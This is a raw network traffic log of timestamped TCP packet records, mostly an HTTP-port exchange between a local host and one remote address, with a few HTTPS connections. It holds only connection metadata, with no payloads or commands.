Nov 13, 2024 18:08:35.261316061 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261328936 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261329889 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261338949 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261353970 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261358976 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261368990 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261373997 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261383057 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261398077 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261399984 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261425018 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261646032 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261661053 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261677027 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261682987 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261692047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261698008 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261707067 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261713982 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261729002 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261744022 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261744976 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261759043 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261773109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261774063 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261789083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261790037 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261804104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261805058 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261820078 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261821032 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261837006 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261841059 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261852026 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261861086 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261867046 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261878014 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261882067 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261898041 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261903048 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261914015 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261929035 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261931896 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261945009 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261957884 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261960983 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261976957 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.261977911 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.261997938 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262006044 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262017012 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262018919 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262034893 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262051105 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262209892 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262224913 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262242079 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262258053 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262258053 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262274027 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262281895 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262290001 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262305021 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262309074 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262334108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262347937 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262362003 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262378931 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262389898 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262403965 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262404919 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262417078 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262428045 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262430906 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262444973 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262445927 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262461901 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262478113 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262480021 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262501001 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262516022 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262531042 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262531996 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262546062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262553930 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262559891 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262573004 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262581110 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262587070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262602091 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262605906 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262615919 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262629986 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262633085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262645960 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262660980 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262664080 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262676001 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262677908 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262693882 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262701035 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262708902 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262716055 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262725115 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262738943 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262738943 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262748003 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262754917 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262762070 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262769938 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262778044 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262785912 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262793064 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262800932 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.262814999 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.262831926 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263168097 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263184071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263200998 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263201952 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263216972 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263223886 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263231039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263240099 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263247013 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263257027 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263262033 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263281107 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263295889 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263303995 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263329983 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263338089 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263354063 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263367891 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263369083 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263382912 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263385057 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263402939 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263417959 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263420105 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263434887 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263459921 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263465881 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263474941 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263489962 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263499022 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263504982 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263511896 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263520002 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263528109 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263535023 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263544083 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263550043 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263562918 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263565063 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263580084 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263586998 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263595104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263609886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263612986 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263627052 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263642073 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263648987 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263658047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263669014 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263674021 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263689041 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263695002 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263703108 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263717890 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263720036 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263732910 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263736010 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263747931 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.263771057 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.263797998 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.264086962 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.264108896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.264122009 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.264123917 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.264139891 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.264141083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.264156103 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.264158010 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.264168978 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.264173031 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.264189959 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.264194012 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.264205933 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.264209032 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.264224052 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.264240026 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.264240026 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.264270067 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.267332077 CET	443	49932	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:35.298614025 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.298674107 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.298676968 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.298692942 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.298708916 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.298727989 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.298993111 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299007893 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299022913 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299032927 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299040079 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299050093 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299056053 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299072981 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299108028 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299292088 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299307108 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299325943 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299334049 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299340963 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299350023 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299362898 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299365997 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299379110 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299382925 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299402952 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299412966 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299417973 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299451113 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299473047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299477100 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299487114 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299501896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299505949 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299516916 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299531937 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299536943 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299546003 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299561977 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299566031 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299576998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299587965 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299592018 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299612045 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299613953 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299629927 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299635887 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299645901 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299662113 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299662113 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299679041 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299686909 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299694061 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299712896 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299736023 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299792051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299807072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299822092 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299824953 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299838066 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299839973 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299853086 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299854040 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299868107 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299869061 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299884081 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299885035 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299900055 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299911022 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299916029 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.299937010 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.299959898 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.300350904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.300365925 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.300379992 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.300405025 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.300432920 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.344255924 CET	443	49931	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.344284058 CET	443	49931	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.344352007 CET	443	49931	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.344400883 CET	49931	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.345212936 CET	49931	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.345233917 CET	443	49931	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.345561981 CET	49952	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.345582008 CET	443	49952	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.345721006 CET	49952	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.346127033 CET	49952	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.346148014 CET	443	49952	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.370918989 CET	443	49935	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.376127958 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376132965 CET	443	49936	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.376208067 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376223087 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376228094 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.376277924 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.376315117 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376328945 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376343012 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376358986 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376375914 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376401901 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.376575947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376606941 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.376610994 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376625061 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376641035 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376641989 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.376641989 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.376656055 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376671076 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.376671076 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.376672029 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376687050 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376707077 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.376707077 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.376945019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376959085 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376971960 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.376975060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376988888 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.376995087 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.376995087 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.377003908 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.377017975 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.377032995 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.377047062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.377059937 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.377059937 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.377063036 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.377078056 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.377089977 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.377089977 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.377094030 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.377108097 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.377115011 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.377123117 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.377144098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.377155066 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.377173901 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.377618074 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.377631903 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.377645969 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.377660036 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.377665997 CET	49864	80	192.168.2.6	185.215.113.206
